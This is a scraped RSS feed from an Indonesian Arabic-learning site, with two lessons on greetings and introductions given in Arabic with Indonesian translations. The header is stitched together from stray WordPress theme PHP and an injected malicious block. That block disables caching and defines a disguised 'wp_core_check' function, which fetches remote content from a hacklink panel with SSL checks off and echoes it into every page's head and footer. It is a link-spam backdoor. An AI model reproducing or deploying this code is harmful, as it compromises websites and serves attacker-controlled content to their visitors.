function widget_freshcitrus_search() { ?> } if (function_exists('register_sidebar_widget')) register_sidebar_widget(__('Search'), 'widget_freshcitrus_search'); ?> function widget_freshcitrus_calendar() { ?>

Calendar

get_calendar(); ?>
} if (function_exists('register_sidebar_widget')) register_sidebar_widget(__('Calendar'), 'widget_freshcitrus_calendar'); add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999); /* Telegram: https://t.me/hacklink_panel */ if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);} Hiwar – Bahasa Arab Online http://badaronline.com Bahasa Arab Bekal Memahami Agama Islam Sun, 06 Dec 2015 07:09:42 +0000 en-US hourly 1 Percakapan Arab Dasar: Ucapan Selamat dan Tegur Sapa http://badaronline.com/dasar/percakapan/ucapan-selamat-dan-tegur-sapa.html http://badaronline.com/dasar/percakapan/ucapan-selamat-dan-tegur-sapa.html#comments Mon, 05 Dec 2011 05:30:34 +0000 http://badaronline.com/?p=1073 Beberapa Contoh Ucapan Selamat dan Tegur Sapa dalam Bahasa Arab

Selamat pagi Pak/Bu صَبَاحُ الْخَيْرِ يَا سَيَّدِيْ /سَيِّدَتِيْ
Selamat sore saudaraku/saudariku طَابَ مَسَائُكَ يَا أَخِيْ /طَابَ مَسَائُكِ يَا أُخْتِيْ
Selamat sore Pak/Bu مَسَاءُ الْخَيْرِ يَا سَيِّدِيْ /سَيِّدَتِيْ
Bagaimana keadaan Anda (lk)/(pr) كَيْفَ حَالُكَ ؟ / كَيْفَ حَالُكِ ؟
Baik terima kasih / sangat baik بِخَيْرٍ شُكْرًا / حَسَنٌ جِدًّا


Apakah Anda (lk/pr) dalam keadaan sehat هَلْ أَنْتَ / أَنْتِ بِصِحَّةٍ وَ عَافِيَةٍ ؟
Ya, Alhamdulillah saya dalam keadaan sehat نَعَمْ الحمدُ لله أنا بِخَيْرٍ وَ عَافِيَةٍ
Sampaikan salam saya kepada orang tua Anda (lk/pr) بَلِّغْ تَحِيَّتِيْ إِلَى وَالِدِكَ / وَلِدِكِ
Sampaikan salam saya kepada seluruh anggota keluarga Anda (lk/pr) بَلِّغْ سَلاَمِيْ إِلَى أَفْرَادِ عَائِلَتِكَ/ عَئِلَتِكِ
Terima kasih, saya (lk/pr) terburu-buru شُكْرًا إنَّنِيْ مُتَعَجِّلٌ / مُتَعَجِّلَةٌ جِدًّا
Semoga beruntung / semoga berhasil حَظٌّ سَعِيْدٌ
Saya harap Anda (lk/pr) dalam keadaan baik-baik أَتَمَنَّى لَكَ / لَكِ الْخَيْرِ
Saya (lk/pr) berterima kasih kepada Anda أَنَا شَاكِرٌ لَكَ جِدًّ /أَنَا شَاكِرَةٌ لَكَ
Saya berhutang budi pada Anda (lk/pr) أَنَا مَدِيْنٌ لَكَ / لَكِ بِا لشُّكْرِ
Sesungguhnya saya (lk/pr) sangat bahagia sekali/senang sekali إِنَّنِيْ مَسْرُوْرٌ جِدًّا / أِنَّنِيْ مَسْرُوْرَةٌ جِدًّا
Hal ini membuatku bahagia/gembira هَذَا يَسُرُّنِيْ كَثِيْرًا / هذِهِ تَسُرُّنِيْ كَثِيْرًا
Selamat datang مَرْحَبًا
Sampai berjumpa kembali إِلَى اللِّقَاءِ
Sampai jumpa مَعَ السَلاَمَةِ
Maaf أَسِفْ
Sungguh ! حَقًّا
Saya (lk/pr) harus pergi يَنْبَغِى لِيْ أَنْ أَنْصَرِفَ
Maukah Anda (lk/pr) duduk ? هَلْ تَتَفَضَّلْ بِلْجُلُوْسِ ؟ / هَلْ تَتَفَضَّلِيْنَ بِالْجُلُوسِ ؟
Terima kasih banyak شُكْرًا جًزِيْلاً
Maaf, semoga Allah meridhoi segala usahamu عَفْوًا, وَفََّّقَكَ اللهُ
Ayo kita pergi ke masjid هَيَّا بِنَا نَذْهَبُ إِلَى الْمَسْجِدِ
Semoga menerima ibadah umrah Anda تَقَبَّلَ اللهُ عُمْرَتَكَ
Segala puji bagi Alah atas nikmat islam الْحَمْدُ لله عَلَى نِعْمَةِ الْإسْلاَمِ
Semoga Allah berbuat baik padamu أَحْسَنَ اللهُ إِلَيْكَ
Semoga Allah memberikanku hidayah begitu juga dengan Anda هَدَانِيَ اللهُ وَ إِيَّاكَ
Semoga dalam perlindungan Allah فِيْ أَمَانِ اللهِ
Ayo segera هَيَّا بِنَا سَرِيْعًا

]]>
http://badaronline.com/dasar/percakapan/ucapan-selamat-dan-tegur-sapa.html/feed 43 1073
Percakapakan: Perkenalan http://badaronline.com/dasar/percakapan/perkenalan.html http://badaronline.com/dasar/percakapan/perkenalan.html#comments Sat, 03 Dec 2011 19:43:51 +0000 http://badaronline.com/?p=1014 Al-Hiwar (Percakapan): Perkenalan

Assalamu ‘alaikum.

وَعَلَيْكُمُ السَّلاَمُ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ

Wa’alaikumussalam warahmatullah wabarakatuh.

كَيْفَ حَالُكَ؟

Bagaimana kabarmu (Apa kabar)?

إِنِّيْ بِخَيْرٍ وَعَافِيَةٍ

Baik-baik saja.

مَاسْمُكَ؟

Siapa namamu?

إِسْمِيْ عَبْدُ اللهِ

Namaku Abdullah.

مَاسْمُ أَبِيْكَ؟

Siapa nama ayahmu?

إِسْمُهُ زَكَرِيَّا

Namanya Zakariya.

مَاسْمُ أُمِّكَ؟

Siapa nama ibumu?

إِسْمُهاَ زَهْرَةُ

Namanya Zahrah.

مَاسْمُ أَخِيْكَ الْكَبِيْرِ؟

Siapa nama kakak lelakimu?

إِسْمُهُ يَحْيَى

Namanya Yahya

مَاسْمُ أَخِيْكَ الصَّغِيْرِ؟

Siapa nama adik lelakimu?

إِسْمُهُ مُحَمَّدٌ

Namanya Muhammad

مَاسْمُ أُخْتِكَ الْكَبِيْرَةِ؟

Siapa nama kakak perempuanmu?

إِسْمُهَا مَرْيَمُ

Namanya Maryam.

مَاسْمُ أُخْتِكَ الصَّغِيْرَةِ؟

Siapa nama adik perempuanmu?

إِسْمُهَا زَيْنَبُ

Namanya Zainab.

أَأَنْتَ أَخُوْ يُوْسُفَ الْكَبِيْرُ؟

Apakah engkau adalah kakak lelaki Yusuf?

لاَ، لَسْتُ أَخَاهُ

Bukan, aku bukan kakak lelakinya.

أَأَنْتَ عَمُّ إِبْرَاهِيْمَ؟

Apakah engkau paman dari Ibrahim?

لاَ، لَسْتُ عَمُّهُ بَلْ أَنَا أَبُوْهُ

Bukan, aku bukan pamannya, tetapi aku ayahnya.

أَأَنْتَ خَالُ حَمْزَةَ؟

Apakah engkau paman dari Hamzah?

نَعَمْ، أَنَاْ خَالُهُ

Ya, aku pamannya.

هَلْ أَنْتَ تَاجِرٌ؟

Apakah engkau seorang pedagang?

لاَ، لَسْتُ تَاجِرٌ بَلْ أَنَاْ مُوَظَّفُ الْحُكُوْمَةِ، وَأَنْتَ يَا أَخِيْ؟

Tidak, aku bukan seorang pedagang, namun aku seorang pegawai negeri. Bagaimana dengan engkau, wahai saudaraku?

أَنَاْ مُدَرِّسٌ فِي الْمَدْرَسَةِ الثَّنَاوِيَّةِ الْعَامَّةِ الْحُكُوْمِيَّةِ

Aku adalah seorang guru di Sekolah Menengah Atas Negeri (SMAN).

Diadaptasi dari buku Percakapan Bahasa Arab Sehari-hari, karya Ustadz Suwardi Effendi, Lc., Cetakan Kedua, September 2004, Penerbit: Cahaya Ilmu, Solo.

Al-Mufradat (kosakata):

Bagaimana : كَيْفَ

Keadaan, hal : حَالٌ

Nama : إِسْمٌ

Ayah : أَبٌ

Ibu : أُمٌّ

Kakak lelaki : أَخٌ كَبِيْرٌ

Adik lelaki : أَخٌ صَغِيْرٌ

Kakak perempuan : أُخْتٌ كَبِيْرٌ

Adik perempuan : أُخْتٌ صَغِيْرَةٌ

Apakah : أَ

Apakah : هَلْ

Ya : نَعَمْ

Tidak, bukan : لاَ

Paman (dari jalur ayah) : عَمٌّ

Paman (dari jalur ibu) : خَالٌ

Tetapi, namun : بَلْ

Aku/saya : أَنَاْ

Kamu (lelaki) : أَنْتَ

Pedagang : تَاجِرٌ

Pegawai negeri : مُوَظَّفُ الْحُكُوْمَةِ

Saudaraku : أَخِيْ

Guru (lelaki) : مُدَرِّسٌ

Sekolah Menengah Atas Negeri (SMAN) : اَلْمَدْرَسَةُ الثَّنَاوِيَّةُ الْعَامَّةُ الْحُكُوْمِيَّةُ

]]>
http://badaronline.com/dasar/percakapan/perkenalan.html/feed 45 1014